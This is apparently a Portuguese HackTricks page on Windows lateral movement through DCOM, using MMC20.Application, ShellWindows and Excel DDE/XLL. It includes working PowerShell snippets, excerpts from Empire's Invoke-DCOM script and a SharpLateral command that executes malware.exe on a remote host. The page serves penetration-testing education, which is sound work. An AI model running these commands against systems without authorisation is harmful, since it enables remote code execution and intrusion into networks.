9.4 KiB
DCOM Exec
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
MMC20.Application
Para mais informações sobre esta técnica, consulte o post original em https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
Objetos do Modelo de Objeto Componente Distribuído (DCOM) apresentam uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para o Modelo de Objeto Componente (COM), acessível aqui para DCOM e aqui para COM. Uma lista de aplicações DCOM pode ser recuperada usando o comando PowerShell:
Get-CimInstance Win32_DCOMApplication
O objeto COM, Classe de Aplicação MMC (MMC20.Application), permite a automação das operações de snap-in do MMC. Notavelmente, este objeto contém um método ExecuteShellCommand
sob Document.ActiveView
. Mais informações sobre este método podem ser encontradas aqui. Verifique sua execução:
Este recurso facilita a execução de comandos através de uma rede por meio de uma aplicação DCOM. Para interagir com DCOM remotamente como um administrador, o PowerShell pode ser utilizado da seguinte forma:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
Este comando conecta-se ao aplicativo DCOM e retorna uma instância do objeto COM. O método ExecuteShellCommand pode então ser invocado para executar um processo no host remoto. O processo envolve os seguintes passos:
Verificar métodos:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
Obter RCE:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
Para mais informações sobre esta técnica, consulte o post original https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
O objeto MMC20.Application foi identificado como faltando "LaunchPermissions" explícitos, padrão para permissões que permitem acesso a Administradores. Para mais detalhes, um tópico pode ser explorado aqui, e o uso do OleView .NET de @tiraniddo para filtrar objetos sem Permissão de Lançamento explícita é recomendado.
Dois objetos específicos, ShellBrowserWindow
e ShellWindows
, foram destacados devido à falta de Permissões de Lançamento explícitas. A ausência de uma entrada de registro LaunchPermission
sob HKCR:\AppID\{guid}
significa que não há permissões explícitas.
ShellWindows
Para ShellWindows
, que não possui um ProgID, os métodos .NET Type.GetTypeFromCLSID
e Activator.CreateInstance
facilitam a instanciação do objeto usando seu AppID. Este processo utiliza OleView .NET para recuperar o CLSID para ShellWindows
. Uma vez instanciado, a interação é possível através do método WindowsShell.Item
, levando à invocação de métodos como Document.Application.ShellExecute
.
Exemplos de comandos PowerShell foram fornecidos para instanciar o objeto e executar comandos remotamente:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Movimento Lateral com Objetos DCOM do Excel
O movimento lateral pode ser alcançado explorando objetos DCOM do Excel. Para informações detalhadas, é aconselhável ler a discussão sobre como aproveitar o DDE do Excel para movimento lateral via DCOM no blog da Cybereason.
O projeto Empire fornece um script PowerShell, que demonstra a utilização do Excel para execução remota de código (RCE) manipulando objetos DCOM. Abaixo estão trechos do script disponível no repositório do GitHub do Empire, mostrando diferentes métodos para abusar do Excel para RCE:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Ferramentas de Automação para Movimento Lateral
Duas ferramentas são destacadas para automatizar essas técnicas:
-
Invoke-DCOM.ps1: Um script PowerShell fornecido pelo projeto Empire que simplifica a invocação de diferentes métodos para executar código em máquinas remotas. Este script está acessível no repositório do Empire no GitHub.
-
SharpLateral: Uma ferramenta projetada para executar código remotamente, que pode ser usada com o comando:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Ferramentas Automáticas
- O script Powershell Invoke-DCOM.ps1 permite invocar facilmente todas as maneiras comentadas de executar código em outras máquinas.
- Você também pode usar SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Referências
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.